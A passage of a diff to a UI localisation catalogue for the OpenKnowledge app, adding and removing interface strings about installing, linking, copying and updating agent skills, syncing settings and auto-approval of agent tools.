"f8jU-L": [["0"], "/", ["1"], " — ", ["2"]],
"f9lQNJ": ["Adds a managed block to"],
"fBHvBn": ["There's no project folder for this window, so a terminal can't start here."],
+ "fBoO7w": ["This is a preview of ", ["boldName"], ". Install it into your agents."],
+ "fDjZxw": ["Copies the skill to ", ["0"]],
"fG0X0e": ["Install ", ["brand"], " →"],
+ "fGqEFq": ["Install ", ["0"]],
+ "fIJtam": ["Reverting"],
"fIgqfQ": ["Reinstalling"],
"fJ3EbT": ["Themes"],
"fJgQHX": ["Failed to create file"],
+ "fMsFdZ": ["Couldn't save the auto-update setting: ", ["0"]],
"fNr-MX": ["Disable semantic search"],
"fR-Kdc": ["(project-level only)"],
"fRVBiq": [
@@ -2290,6 +2483,7 @@
],
"fSRzLo": ["Show document panel"],
"fVcm9t": [["0", "plural", { "one": ["#", " doc"], "other": ["#", " docs"] }]],
+ "fVzizW": ["Use a relative path inside the skill (no .., no spaces; SKILL.md is managed)."],
"fWi7pn": ["Initialize starter pack"],
"fWsBTs": ["Something went wrong. Please try again."],
"fYKgzG": ["Failed to load recent projects."],
@@ -2301,15 +2495,17 @@
"fbdLmk": ["Toggle bold formatting."],
"fbsiBw": ["Something went wrong starting the terminal."],
"fcgvCA": ["Claude"],
+ "fdeFfN": ["(binary file, not previewable)"],
"fevEu0": ["Pull latest changes"],
+ "fg1U4e": ["Skill discovery powered by <0>skills.sh</0>"],
"fiMNLl": ["Sync settings not yet loaded — try again in a moment"],
"fj5YiP": ["Downloads a fresh copy from GitHub."],
"fnlBN4": ["Auto-approve settings not yet loaded — try again in a moment"],
- "fo0VXg": ["Uninstall"],
"fqSfXY": ["Replace"],
"fru3T7": ["Could not fix ", ["0"], " of ", ["1"], " files."],
"ft-BOm": ["Report a bug…"],
"fuJZKk": ["Search branches"],
+ "fvrHin": ["Available in every project on this machine. Not shared through git."],
"fwhX-N": ["Indent or outdent source"],
"fwrPh4": ["Please enter a valid email."],
"fxJk_6": ["<0>Have more to add?</0> Write to <1/> and mention your reference."],
@@ -2324,6 +2520,11 @@
["descriptorLabel"],
"> failed to render (likely a bad prop). Copy the source to see what went wrong, or delete the block."
],
+ "g5w1sF": [
+ "Pick a folder to merge INTO ",
+ ["display"],
+ ". That folder becomes a symlink to this one, so its agent reads everything placed here. This folder stays real. Conflicting skills abort the merge."
+ ],
"g85bAo": ["Synced ", ["lastSyncedRelative"]],
"gAhHu7": ["Auto-fix applies only to problems with a known mechanical fix."],
"gBbxn_": ["Checking sign-in status"],
@@ -2334,6 +2535,8 @@
],
"gJR87V": ["Could not create the project folder. Pick a different folder."],
"gKi-a_": ["New project"],
+ "gL_sdV": ["Popular"],
+ "gN3JX8": ["skills.sh"],
"gOD68k": ["Open a single markdown file — no project setup."],
"gQV-9w": [
"Branch switched but the ",
@@ -2343,6 +2546,7 @@
"gUlRQj": ["Orphans"],
"gYz2ep": ["Expires in ", ["timeLabel"]],
"gZElfU": ["Fixing ", ["0"], " of ", ["1"], " files"],
+ "gZiT5e": ["Replace these symlinks with independent copies?"],
"gbHcbI": ["Failed to delete property"],
"gfdqcY": ["Couldn't apply the change: ", ["0"]],
"gfohmY": ["Connect tools"],
@@ -2361,6 +2565,7 @@
"gp3I7-": ["Before syncing, set your identity for git commits:"],
"gtEbeW": ["Highlight"],
"gtGQ9S": ["Start ", ["agentName"], ", ", ["hint"]],
+ "gv5w9J": ["owner/repo, a git URL, or a local path"],
"gvApb7": [
"Turn the things you read into clear, trusted articles. Save a source, figure out what it means, then keep the final version so you can rely on it later."
],
@@ -2370,6 +2575,7 @@
"h-AdvS": ["The folders and templates are already here, so there's nothing to add."],
"h06R3C": ["No pages are missing outgoing graph links."],
"h16FyT": ["Lists"],
+ "h2N-1n": ["Installed in ", ["0"]],
"h3QZcB": [
"A branch named ",
["shareBranch"],
@@ -2392,6 +2598,7 @@
"hLod4_": ["Convert to template"],
"hLy8b1": ["Updated to Version ", ["version"]],
"hQXiDc": ["Search branches..."],
+ "hQjvzi": ["A .zip or .skill archive."],
"hSBIG-": ["A title, description, tags — anything that describes this folder."],
"hSySVc": ["Install handoff failed: ", ["msg"]],
"hXUWyd": ["Value is required"],
@@ -2410,8 +2617,10 @@
"Keep track of the people and companies you work with and the meetings you have with them. Good for remembering who someone is, how you know them, and what you last talked about."
],
"hnq8fP": ["Remove ", ["label"], " from context"],
+ "hp8OtS": ["Added"],
"hpDtUm": ["External wiki link"],
"hpzRlK": ["Reopen closed tab"],
+ "hqCwRf": ["No file selected"],
"hqVQbT": ["Add Comment"],
"hvZwVx": ["Convert"],
"hwFOFD": ["Settings failed to load"],
@@ -2421,6 +2630,7 @@
"hyCxJY": ["Open that worktree instead"],
"hynz2K": ["Download started"],
"i-ShMB": ["Diagram"],
+ "i-wHEp": ["Editing ", ["boldName"], " in place. Changes save straight to your editor's copy."],
"i09An-": ["Restored an earlier version (", ["0"], ")"],
"i1flq_": ["Wiki link suggestions"],
"i3f2kh": ["No matching commands."],
@@ -2435,7 +2645,6 @@
"</0>. It may not have been pushed yet."
],
"i9toLO": ["Agent configuration file"],
- "iAoh55": ["Update \"", ["0"], "\"?"],
"iDZtvM": ["Failed to load templates: ", ["message"]],
"iEQQyu": ["Agent"],
"iEYxO4": ["Show thumbnails"],
@@ -2445,24 +2654,44 @@
"iIaSUD": ["Whitespace"],
"iKSP5j": ["Word wrap"],
"iKZkk1": ["Property value"],
+ "iKvAeG": ["Checking"],
"iMYFJM": ["This window can't store a token — open Settings from the main app window."],
"iMkWoF": ["Turn on"],
"iO8V-7": ["Create worktree"],
+ "iOAsF1": [
+ "A copy is a real folder of its own, and OK keeps it in step with the source: edit the skill here and every copy is refreshed. That stops the moment you hand-edit a copy outside OK — from then on it goes its own way and shows up as a separate skill."
+ ],
"iOHg1t": ["Open embedded URL in new tab"],
"iRdfLr": ["Dev instance: ", ["label"]],
"iSLIjg": ["Connect"],
"iSQTsg": ["Ordered list"],
"iSnkwB": ["Failed to open cloned project."],
"iTylMl": ["Templates"],
+ "iUwpZI": ["No spaces — use <0>-</0> instead."],
"iXTp5j": ["Scope: "],
+ "iYUTsI": ["This source bundles several skills — choose one, then Import."],
"iZCZmF": [
["instanceCount", "plural", { "one": ["#", " instance"], "other": ["#", " instances"] }]
],
+ "iaPtht": ["copy"],
"idD8Ev": ["Saved"],
"idni-S": ["Values for ", ["keyName"]],
"ig5vUe": ["Failed to load file"],
"ii5mVn": ["Report this error"],
"iilQXA": ["Folder duplicated"],
+ "iiqOKM": [
+ "Stop ",
+ ["0"],
+ " reading \"",
+ ["1"],
+ "\"? ",
+ ["subRoot"],
+ " will keep its other skills (as symlinks) but stop following ",
+ ["poolRootRel"],
+ " — new skills added there won't reach ",
+ ["2"],
+ " automatically."
+ ],
"ijLc3m": ["Bullet list"],
"ilodsp": ["Let agents use OpenKnowledge without asking"],
"ioMn4Z": ["New from Template…"],
@@ -2479,8 +2708,12 @@
],
"iuTKci": ["No edits yet."],
"iv452l": ["Documentation for ", ["0"], " (opens in browser)"],
+ "ivwdwq": ["Create a skill."],
"iy64Li": ["Full sync — your edits are committed and pushed to your remote automatically."],
"iycx_A": ["Pushing"],
+ "iz1LdD": [
+ "Changed outside OK since it last wrote here — the state shown is what's on disk now"
+ ],
"j0ItfO": ["Show resolved (", ["0"], ")"],
"j2229h": ["Removing OpenKnowledge files…"],
"j2kt1j": [
@@ -2492,8 +2725,12 @@
"jAMpHn": ["What is a starter pack?"],
"jBVUXo": ["Couldn't open the terminal — please try again."],
"jC8LSZ": ["Reset view filters"],
+ "jENU1Q": [
+ "Applies to all projects on this machine. Claude and Codex, started from the built-in terminal, auto-approve OpenKnowledge's read and write tools (Claude also auto-runs \"ok open\"). Deleting, moving, sharing, importing or installing skills, other commands, and non-OpenKnowledge file edits still ask. Cursor, OpenCode, and Pi are unaffected. Best-effort per agent."
+ ],
"jEZ6Lf": ["provisional"],
"jEdF24": ["Missing page: ", ["linkTitle"], ". Click to create."],
+ "jJdwCB": ["Revert"],
"jKd3AP": ["Could not enable the terminal: ", ["0"]],
"jL3gox": ["Select a value"],
"jO18NZ": ["I'm switching to another tool"],
@@ -2503,7 +2740,6 @@
"jSO1X5": ["Inherited templates can't be renamed here — rename it in the folder that owns it."],
"jSY41h": ["\"", ["docName"], "\" took too long. Check your connection."],
"jTLWxh": ["Embed an external page in an inline iframe (docs, demos, Figma, CodeSandbox)."],
- "jX0IPx": ["A skill with this name already exists."],
"jZ_E5M": ["Fetch failed — check the server logs for details."],
"j_Z6g7": ["Shared default"],
"jbSG8V": ["Show Files (", ["sidebarShortcutLabel"], ")"],
@@ -2515,8 +2751,13 @@
"jnCROW": [
"A memory snapshot from the crash, and the artifact that helps us most. It can contain document content and can't be redacted, so uncheck it if you'd rather not share it."
],
+ "jng7Ko": ["conflict"],
"jol95m": ["Failed to open Project Navigator."],
"jpctdh": ["View"],
+ "jpoCue": [".myteam/skills"],
+ "jqe7Yq": [
+ "Opens Settings → Skills, where you link a whole folder into another so both agents read the same skills, and add custom skill roots."
+ ],
"jtg_8-": [
"Build a knowledge wiki about the different types of flightless birds. Start with an overview page, then add cross-linked pages for each major group (ratites like ostriches, emus, and kiwis; penguins; and flightless rails), the regions they live in, and a timeline of how flightlessness evolved."
],
@@ -2553,6 +2794,9 @@
"kCjkGY": ["This may take a moment. Your markdown content is kept."],
"kCqCyf": ["Open CodeMirror's lint diagnostics panel."],
"kFLlsI": ["Insert a footnote reference + matching definition stub."],
+ "kKw0H3": [
+ "You edited this skill locally and the source has new changes. Taking upstream replaces your version; your edits stay recoverable in version history."
+ ],
"kLv8d3": [
"Your copy of branch <0>",
["shareBranch"],
@@ -2587,6 +2831,7 @@
"keop3U": [
"This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."
],
+ "kfL8BJ": ["Import failed: ", ["0"]],
"khCa4M": ["Teaches coding agents in this project to read and write through OpenKnowledge."],
"kj9pAE": ["Creating page"],
"kknhfj": ["No changes"],
@@ -2595,6 +2840,7 @@
"knjOzA": ["Tag value"],
"ko386X": ["A document has a conflict — resolve it to keep it up to date."],
"kolRU1": ["Do you want to permanently delete instead?"],
+ "koo58J": ["Upload skill"],
"kooyLJ": ["Failed to rename the field"],
"kpqWwG": ["This ", ["targetNoun"], " was removed from branch <0>", ["branch"], "</0>."],
"kq-Qj4": ["Couldn't work out where to send the comments — they stay queued."],
@@ -2641,8 +2887,13 @@
"lHwYMr": ["Server error: ", ["status"], " ", ["statusText"]],
"lI0Td2": ["Use letters, digits, <0>_</0> and <1>-</1> only."],
"lISYEX": ["Couldn't reopen that comment."],
+ "lK9c4T": ["Keep the name to 64 characters or fewer."],
"lKQnp-": ["Installed ", ["0"], " ", ["1"]],
+ "lM4c-I": [
+ "A path inside the skill — any folder works (e.g. references/notes.md). Folders in the path are created for you."
+ ],
"lPzyrU": ["All hunks resolved"],
+ "lUtr1r": [["0"], " of ", ["1"], " selected"],
"lVWEIL": ["Indexed ", ["embedded"], " of ", ["total"], " pages."],
"lWNpNB": ["Add cursors or select matching occurrences through CodeMirror."],
"lXKZGw": ["Heading 1"],
@@ -2652,7 +2903,12 @@
"l_UFPv": ["Properties"],
"lb_UU4": ["Sync now"],
"lbkOif": ["Undo or redo visual-editor changes through TipTap collaboration history."],
+ "leF0i_": ["New file in this skill"],
+ "leiGnv": [["dir"], " (symlink)"],
"lhjq3G": ["Reset ", ["labelText"], " to default"],
+ "lj4cNf": [
+ "Pick the skills to install. Each one lands as an editable skill you own; the plugin's hooks, commands, and MCP servers are not installed."
+ ],
"ljFWEt": ["No settings found"],
"ljHjfg": ["That branch is already open in another worktree."],
"lkYioO": ["Show or hide document panel"],
@@ -2662,9 +2918,15 @@
],
"lond3p": ["Shows above the code body. Round-trips as `title=\"...\"` in markdown."],
"lrhetp": ["+ ", ["overflow"], " more"],
+ "lwCV5v": ["Couldn't open ", ["0"], " for editing: ", ["1"]],
"lyWa43": ["Project-level disconnected pages"],
"lzmtKp": ["Failed to load folder properties: ", ["message"]],
"lzwo7p": ["Could not open GitHub sign-in. Please try again."],
+ "m0eHej": [
+ "Replace the copy at ",
+ ["display"],
+ " with a symlink to the skill's source folder? Nothing else moves."
+ ],
"m16xKo": ["Add"],
"m2T1Xj": ["Tag #", ["tagValue"], ", ", ["uses"]],
"m6YGpY": ["Active panel content for the selected tab shows here."],
@@ -2677,15 +2939,14 @@
"mLAjyL": [
"Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."
],
- "mPneVR": ["Updated \"", ["display"], "\" to ", ["0"], "."],
"mPy9lS": [
"Organize my existing specs into a linked index grouped by area, and flag any that have drifted out of sync with the current code."
],
+ "mShKiV": ["Upload a skill"],
"mToVM9": ["Message ", ["agentName"]],
"mU3j1b": ["Remove item ", ["0"]],
"mVFyH-": [["accessibleLabel"], " (conflict)"],
"mWVJRX": ["Collapsible section with a clickable summary."],
- "mY8U64": ["Teach agents a repeatable task. You can edit the body after creating."],
"mYGY3B": ["Date"],
"mYzDD_": ["A worktree folder for that branch already exists."],
"mZ1r4i": ["Create a document from ", ["label"]],
@@ -2731,15 +2992,11 @@
"msuDyW": [
"Set the sync default for users opening this project for the first time. This setting is committed to your repository."
],
- "mu1O0q": [
- "Open Knowledge can manage ",
- ["0"],
- " editor skill(s) for this project. Import moves them into .ok/skills and replaces the .claude, .codex, etc. copies with symlinks — one place to edit, in sync everywhere. If those folders are committed to git, review the change first; symlinks can behave differently on some editors and on Windows."
- ],
"mwMF9u": ["Open CodeMirror search in source editor mode."],
"mxGJVE": ["Switch worktree…"],
"mxY24F": ["Duplicate the focused file-tree item when focus is in the Files sidebar."],
"n2lRue": ["Commit or stash changes to switch:"],
+ "n3T3EE": ["Installed in ", ["label"], " — click to remove"],
"n3wx1q": ["Restore to this version?"],
"n5n_vi": ["Private repository"],
"n6hXUm": [
@@ -2750,27 +3007,19 @@
"Connects automatically the next time you open this project in a trusted Codex session."
],
"nBHvPL": ["Cancel editing"],
+ "nBgzKO": ["Make this the source — the skill's real folder moves here"],
"nCzR-G": ["Copy code ", ["userCode"]],
- "nD7Fx9": [
- "This replaces the current skill content with the bundled version ",
- ["0"],
- ". Any local edits will be replaced — your current version is saved to history first, so you can restore it."
- ],
"nDT8qt": ["Initialized ", ["0"], " but could not open it."],
"nG-XA9": ["The anchored text is gone. You can re-place it on selected text."],
"nGAFeH": [
"Reports you've generated on this Mac. Retry a send, reveal a file, or delete one you no longer need."
],
- "nJq7et": ["Couldn't uninstall skill: ", ["0"]],
"nMSYz5": [
"This path is on an external volume (/Volumes/...). OpenKnowledge will lose track of files when the drive ejects."
],
"nNYV3Y": ["and ", ["remaining"], " more"],
"nOEDQs": ["Failed to update sync mode — ", ["detail"]],
"nP-KFo": ["New ", ["0"], " chat"],
- "nP76lk": [
- "Applies to all projects on this machine. Claude and Codex, started from the built-in terminal, auto-approve OpenKnowledge's read and write tools (Claude also auto-runs \"ok open\"). Deleting, moving, sharing, installing skills, other commands, and non-OpenKnowledge file edits still ask. Cursor, OpenCode, and Pi are unaffected. Best-effort per agent."
- ],
"nTwL53": ["Open a doc to share its URL."],
"nUNZL4": ["Ask ", ["0"]],
"nWv1ja": ["Manage hidden files in Settings → Ignore patterns."],
@@ -2782,6 +3031,7 @@
],
"ndwmea": ["unavailable on this platform"],
"neRy3o": ["Split list item"],
+ "nf0wk0": ["symlinked via parent"],
"nfPccR": [
[
"laterEdits",
@@ -2821,10 +3071,12 @@
],
"nzHlj8": ["Close ", ["0"]],
"nzaV6Q": ["Page thumbnails"],
+ "o0bHtA": ["By OpenKnowledge"],
"o2yoFu": ["Reveal in Finder, No workspace"],
"o49mDZ": ["Loading timeline history"],
"o4dcAf": ["Reveal in File Explorer, ", ["hint"]],
"o9CrsQ": ["research-note"],
+ "o9fPtM": ["Auto-update from source"],
"oAFVKX": ["Failed to update the project sync default — ", ["detail"]],
"oAGN8p": [
"Remote branch <0>",
@@ -2842,6 +3094,7 @@
"oQA-cA": ["Full path"],
"oS1YpJ": ["Open the Project Navigator."],
"oWsZk8": ["Create missing page ", ["target"]],
+ "oX-rVu": ["Install failed: ", ["0"]],
"oXKEsy": ["Delete an adjacent wiki-link or tag chip."],
"oXlLi4": [
"Project plugins are your project's authoring standard — turn them on or off here. The choice is committed to config.yml and shared with every collaborator via git. Each enabled plugin gets its own page under Plugins in the settings sidebar."
@@ -2858,6 +3111,7 @@
"ojGc_T": ["Open comment"],
"omXJcU": ["Close others"],
"onTlRk": ["Couldn't update skills sharing"],
+ "opPbzN": ["Copies the skill to ", ["path"]],
"optX0N": [["0"], "h ago"],
"oqB2ez": ["Previous match"],
"os6dRM": ["Couldn't remove that comment from the queue."],
@@ -2874,6 +3128,11 @@
"oxdGJn": ["Before you go, mind sharing why?"],
"p0Iq25": ["Insert link"],
"p2LEhJ": ["Personal access token"],
+ "p3m_Gk": [
+ "OK last set this folder to ",
+ ["0"],
+ " — something outside OK changed it since. The state shown is what's on disk now; your next Symlink/Unlink wins."
+ ],
"p8TjFD": ["Collapse session dock"],
"p98xmP": ["Applies to"],
"p9sdCy": ["New ignore pattern"],
@@ -2885,10 +3144,13 @@
"pFagOn": ["Source editing"],
"pHYP6v": ["Open <0>Customize</0> in the sidebar <1/> <2>Skills</2>."],
"pQf2Ux": [".ok/skills is back to local-only."],
+ "pSimwP": ["New name for the ", ["editor"], " version"],
"pTPqMK": ["Toggle a fenced code block."],
+ "pTyA_t": ["tags"],
"pUKV4K": ["Auto-denied"],
"pWT04I": ["Checking..."],
"pWbsW6": ["Loading docs"],
+ "pXB6SL": ["The skill's own folder — the source other locations copy or link from"],
"pZAs1T": ["Failed to load outgoing links"],
"paCw0z": ["everything under ", ["0"], "/ folders inside ", ["1"], "/"],
"pajIrl": ["Could not turn off the terminal: ", ["0"]],
@@ -2904,6 +3166,7 @@
"ppDgFi": ["Restart with this app's version"],
"psfGPX": ["MCP connections"],
"psl2Sj": ["Your change is still being saved — run the test again in a moment."],
+ "ptQ3_N": ["unlink"],
"pvnfJD": ["Dark"],
"pzutoc": ["Italic"],
"q2kXMG": ["Inline Math"],
@@ -2912,6 +3175,7 @@
"q4YJl_": ["The terminal session ended (exit code ", ["0"], ")."],
"q6-JVU": ["Loading pages"],
"q7F5am": ["title"],
+ "q8aCbb": ["Two versions of \"", ["0"], "\" — source vs ", ["editor"]],
"qAQVSD": ["Page headings response was not JSON"],
"qAhFeg": [
["userName"],
@@ -2923,12 +3187,15 @@
"qEEfPk": ["Bug report ", ["0"]],
"qEIFZu": ["Key ending in ", ["keyHint"]],
"qEue6Q": [" or "],
+ "qFKsNl": ["Imported \"", ["0"], "\"."],
"qFWMl-": ["View as text"],
"qIJIrD": ["Testing"],
+ "qJSo0_": ["What is the difference between copies and symlinks?"],
"qNOgUu": ["Edits at the source land here — no copy-paste drift."],
"qRZh7J": ["Let Tab leave the source editor instead of indenting."],
"qSKu2v": ["Source navigation and selection"],
"qSxaOz": ["Accept their deletion"],
+ "qTcVwj": ["Browse or upload a skill for this project."],
"qTcZZu": ["Failed to load tags. Press <0>Esc</0> and re-open to retry."],
"qX-ABr": ["Or to use browser sign-in instead:"],
"qXN416": ["Couldn't share skills: internal error. Please restart the app."],
@@ -2945,6 +3212,8 @@
"qiRoLb": ["Summarize everything I changed this week"],
"qioCwA": ["Jump to page ", ["pageNumber"]],
"qjHMHf": ["Failed to disable sync — ", ["detail"]],
+ "qkqG0b": ["Take upstream"],
+ "qlAIQ1": ["Remote"],
"qmL1UG": ["Uploading securely"],
"qo4zCg": ["Path cannot contain backslashes"],
"qokN44": ["Show queued comments"],
@@ -2970,6 +3239,7 @@
"Tell us what went wrong and we'll gather the logs. Nothing leaves your Mac until you've reviewed it."
],
"rDOuNw": ["Failed to import template"],
+ "rFL-yb": ["Edit a copy"],
"rFTdVq": ["Show in Explorer"],
"rFmBG3": ["Color theme"],
"rFw02Q": ["Uploading ", ["keyName"]],
@@ -2989,6 +3259,7 @@
"rZVMkf": ["Visual editor replace input focused"],
"rageVb": ["Custom HTML with a live preview pane (sandboxed iframe)."],
"rbrHTd": ["Approved — ", ["optionName"]],
+ "rcJmK8": ["Convert locations to copies"],
"rdU729": ["Layout"],
"rfFpcF": ["Remove ", ["chip"]],
"rg7hNd": ["Rate your experience"],
@@ -2996,6 +3267,11 @@
"ri6zS-": ["The schema file does not exist or failed to load — adding a field creates it."],
"riqekz": ["Suggestion menu navigation"],
"rlUzXK": ["Could not validate folder. Please try again."],
+ "rmorj0": [
+ "This is a preview of ",
+ ["boldName"],
+ " — a built-in skill shipped with Open Knowledge. It's read-only."
+ ],
"rn7n0G": ["Resume sync"],
"rnX-1S": ["Enable plugins"],
"roAe2K": ["Link URL"],
@@ -3004,13 +3280,18 @@
"rscgd_": ["Go to this comment in ", ["0"]],
"rssK8c": ["Ignore patterns (raw text)"],
"rtdR4v": ["Show or hide Files"],
+ "rucNcu": [
+ "Saved into this project's skills folder (e.g. <0>.agents/skills</0>), versioned alongside your project."
+ ],
"rwrPbS": ["Component boundary navigation"],
"rxWGWX": ["Forward"],
"s-MGs7": ["Resources"],
"s-XOaI": ["File name"],
+ "s-pW_v": ["Couldn't install: ", ["0"]],
"s0-xF4": ["Tell us how it's going"],
"s061i4": ["Relative path"],
"s0IDhW": ["This file could not be found."],
+ "s0Iold": ["Edited locally since it was installed"],
"s0J_k9": [["0", "plural", { "one": ["#", " key"], "other": ["#", " keys"] }]],
"s0_GnA": ["Opening ", ["openingLabel"], "…"],
"s1c0ja": ["Bullet List"],
@@ -3023,13 +3304,15 @@
],
"sER-bs": ["Files"],
"sFhaTJ": ["Disambiguates similarly-named templates in the menu."],
- "sHrqDx": ["Couldn't rename skill: ", ["0"]],
"sICrVf": ["Restored to the version from ", ["0"]],
"sIGbBZ": ["Convert selection to footnote"],
"sIxSSP": ["Resolve conflict in your terminal"],
"sJK6pq": ["Permission denied"],
"sJWhgo": ["Unknown component: ", ["unregisteredComponentName"]],
"sKEgGd": ["Send to chat"],
+ "sLcbHt": [
+ "Symlink another folder into one of these so both agents read the same skills; unlink to manage a folder's skills one by one again."
+ ],
"sNeKjP": ["Failed to store the token — try again"],
"sOxZaS": ["Failed to load graph"],
"sZ2IOu": [
@@ -3057,6 +3340,11 @@
" · crash dump not redacted"
],
"snrVQ7": ["probe failed"],
+ "ssk6rl": [
+ "The skill's own folder (",
+ ["path"],
+ ") — the source other locations copy or link from"
+ ],
"ssuwjF": ["Branch"],
"stlgky": [
"On — your search queries and the text of matching pages are sent to your embeddings provider (OpenAI by default) to compute embeddings."
@@ -3066,10 +3354,10 @@
"sxjyRq": ["Worktrees"],
"sxkWRg": ["Advanced"],
"syi2ye": [["percent"], "% used (", ["left"], "% left)"],
+ "szy9BS": ["Use lowercase letters, numbers, and hyphens only"],
"t-JXbf": ["Notion-style inline row for a downloadable file. Drag-drop also works."],
"t18QYR": ["Unpin ", ["accessibleLabel"]],
"t2TkQ3": ["Sync paused — resolve conflicts to resume."],
- "t422_7": ["Uninstall everywhere"],
"t4sFKC": [
"New branch <0>",
["trimmed"],
@@ -3077,6 +3365,8 @@
],
"t6w1cq": ["Open a blank editor tab."],
"t9Qn8y": ["No agents enabled"],
+ "tA0b9E": ["the default skills folder (the exact path appears once saved)"],
+ "tA2-xC": ["\"", ["0"], "\" was already added (identical content)."],
"tAPZEx": ["Below"],
"tHKQ6j": ["Renaming"],
"tKlWWY": ["Emoji"],
@@ -3084,6 +3374,7 @@
"tP5DDk": ["Apply link"],
"tUvUfp": ["Use a folder you already have."],
"t_YqKh": ["Remove"],
+ "tc65fD": ["Most installed"],
"tcjTlU": ["Starter packs"],
"teD0H9": ["Couldn't open a worktree for that branch."],
"teFjfG": ["No agent is set up yet — pick one from the send menu."],
@@ -3094,10 +3385,19 @@
"tgWuMB": ["Modified"],
"thnPBX": ["Activate the next editor tab."],
"ti6aF_": ["Ask ", ["0"], " CLI"],
+ "tiFPjk": ["source"],
"tiWX6q": ["Source editor"],
"tjXez2": ["blog-post"],
+ "tkIXtS": [
+ "Installed ",
+ ["imported"],
+ " skills (",
+ ["alreadyImported"],
+ " were already present)"
+ ],
"tnG-m6": ["Auto-sync is paused — sign in to resume."],
"toyw51": ["Mermaid diagram controls"],
+ "tqQBwN": ["Any scripts are shown for review, never run."],
"tsiTqO": ["Paste your API key"],
"tsyExA": ["Connect your AI tools to OpenKnowledge"],
"tzGWeg": ["Preparing to uninstall OpenKnowledge"],
@@ -3119,12 +3419,10 @@
"Document the architecture of this repo: create an overview page that links to a page per major module describing its responsibilities and entry points."
],
"uF9ruK": ["Saving"],
- "uFOL2y": [
- "No project skills yet. Author one to teach agents a repeatable task scoped to this knowledge base."
- ],
"uFQbYd": ["Home page and entry point."],
"uGaIIS": ["Check out worktree"],
"uH_S-u": [["loadErrorTitle"], ": ", ["message"]],
+ "uJfwF8": ["Already installed — nothing new to import."],
"uKRYiW": ["Sync status unavailable — server error."],
"uL_Wx8": ["The terminal stopped unexpectedly."],
"uM6jnS": ["Restore failed"],
@@ -3135,6 +3433,7 @@
"Couldn't restart the server — it's running under a different account. Restart your computer to clear it, then reopen this project."
],
"uR2YT3": ["Show problem indicators"],
+ "uUCrBv": ["symlink"],
"uUiiyC": [
"You don't have permission to push to this repo. Follow can still keep your copy up to date."
],
@@ -3146,6 +3445,10 @@
"uaUc6t": ["Restart server"],
"ubMwcO": ["The terminal session ended (signal ", ["0"], ")."],
"ucXZ0k": ["Loading agents…"],
+ "ugQcJX": [
+ ["display"],
+ " is an independent copy while the skill's other locations are symlinks. Click to make it a symlink to the source."
+ ],
"ugoTXs": ["folder"],
"uhJEA2": [
[
@@ -3173,12 +3476,12 @@
]
],
"v77jrg": ["Visual editor selection"],
- "v7hK0U": ["Use lowercase letters, digits, and hyphens only."],
"v7lbnC": ["Find next match"],
"vAYoCZ": ["Couldn't open the worktree. Try again."],
"vDXqVv": ["Insert a markdown hard break."],
"vEJDlt": ["The file is in your Trash; the file-watcher will reconcile."],
"vF68cg": ["Fields"],
+ "vGQxBT": ["Updates from the source apply automatically (unless edited locally)"],
"vGeNNQ": ["Copy a prompt and paste it into your agent to set up your project."],
"vIxrEk": ["Fit width"],
"vLyv1R": ["Hide"],
@@ -3208,6 +3511,7 @@
["copyShortcut"],
"</0> to copy the link below, or open OK in the desktop app."
],
+ "vjW-SM": ["Saved into your global skills folder (e.g. <0>~/.agents/skills</0>)."],
"vja0Dg": ["Open session dock"],
"vjwsDi": [
[
@@ -3222,6 +3526,7 @@
"vppAju": ["Where newly added attachments are placed."],
"vv7kpg": ["Cancelled"],
"vvWZnu": ["Diff unavailable"],
+ "vy_VIN": ["Tracked in git — updates flow through your repo (pull or CI), not auto-update"],
"w3tVpc": ["No links yet. Add wiki links or markdown links to build a graph."],
"w3vFfL": ["Hide Files"],
"w4ZzmQ": ["Couldn't reach the embeddings provider — retry"],
@@ -3232,13 +3537,16 @@
"w6sBjd": ["Terminal settings not yet loaded — try again in a moment"],
"w6sT-y": ["Follow the agent's edits"],
"w7SsvI": ["That folder isn't an OpenKnowledge project yet. Initialize it and open?"],
+ "w7bnEb": ["Create a personal skill, available across every project."],
"w7nm4K": ["Indented blockquote for citations."],
"wDgmsr": ["\"", ["0"], "\" install refreshed (", ["1"], ")"],
+ "wErce0": ["Choose a skill archive"],
"wF2wqQ": ["Unknown date"],
"wGSHzy": ["Activate one of the first eight editor tabs."],
"wJijgU": ["Location"],
"wJo9oS": ["Close find"],
"wQp1V3": ["Mirror of <0>", ["src"], "</0>"],
+ "wQvvZY": ["New skill file"],
"wT4iQr": ["Open visual-editor find with replace controls expanded."],
"wTcjov": ["No workspace"],
"wU8WyK": ["Element fields"],
@@ -3250,18 +3558,15 @@
"\" from recent projects. Its folder no longer exists."
],
"w_Sphq": ["Attachments"],
- "waFx9W": ["Managed"],
"wbv9xO": ["Create new project"],
"wcfO9r": ["No bug reports yet."],
"wdxz7K": ["Source"],
"weP6me": ["Couldn't load docs — type @ again to retry"],
+ "wefL17": [["source"], " publishes ", ["count"], " skills. Install any of them together."],
"wgNoIs": ["Select all"],
"wlwXUk": [
"You picked ~/Downloads. Files there are usually transient — consider a stable folder instead."
],
- "wn8EJi": [
- "Skills teach agents repeatable tasks. Author them here; install a skill to project it into your editors' skill folders."
- ],
"wndeIl": ["Project-level pages with neither incoming nor outgoing graph edges."],
"ws5o1F": ["Checked by: ", ["0"]],
"wtcxiD": ["Share this setup with your team?"],
@@ -3270,7 +3575,6 @@
"wzq9Rv": [
"A branch with that name already exists. Open its worktree from the switcher instead."
],
- "x-5mJ1": ["Install on all"],
"x2fr_j": ["Graph"],
"x3-2ta": [
["packName"],
@@ -3283,6 +3587,7 @@
"Semantic search is on, but no API key is set — search falls back to keyword matching. Add one below."
],
"x57cJf": ["Open link"],
+ "xBFg6z": ["From the ", ["0"], " plugin"],
"xCJdfg": ["Clear"],
"xCdTnb": ["Close new tab"],
"xDBki3": ["Heading suggestions"],
@@ -3299,6 +3604,7 @@
"xSVO3J": ["What gets created"],
"xV5sXw": [["0"], "w ago"],
"xWEvuo": ["Ask AI"],
+ "xWomUD": ["Use ", ["editor"], " version"],
"xXo8FT": ["Save failed: ", ["error"]],
"xYMPyY": [
"Paste was incomplete — ",
@@ -3318,10 +3624,10 @@
"xiv-dW": ["No files yet."],
"xlQpTE": ["More refusal options"],
"xloBjn": ["Relative Path"],
- "xnP32l": ["No description yet — add one so agents know when to use this skill."],
"xo6PEb": ["Choose where to send the queue"],
"xrVr_k": ["Couldn't create skill: ", ["0"]],
"xsZhu-": ["Page number"],
+ "xtJgSe": ["This source bundles several skills — choose the one to import."],
"xzAmL_": ["Auto-approved"],
